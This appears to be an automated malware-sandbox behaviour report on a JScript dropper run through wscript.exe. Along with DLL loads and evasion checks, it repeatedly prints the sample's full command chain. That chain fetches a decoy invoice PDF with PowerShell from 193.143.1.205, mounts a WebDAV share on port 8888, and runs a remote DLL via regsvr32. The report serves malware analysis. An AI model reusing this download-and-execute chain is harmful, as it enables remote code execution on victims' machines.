Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8897.js.csv");ITextStream.WriteLine(" entry:7360 f:eatlz");ITextStream.WriteLine(" exec:2 f:eatlz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49720

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4480			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5086			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep count: 4480 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep count: 5086 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7932	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7948	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7824	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8160	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5884	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000D.00000002.1352675825.00000195E4A7B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1337974314.00000195E4A7B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1352431685.00000195E4A18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2574456444.0000026F2DA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2575794270.0000026F33058000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000006.00000003.1275312293.000001BEE391B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
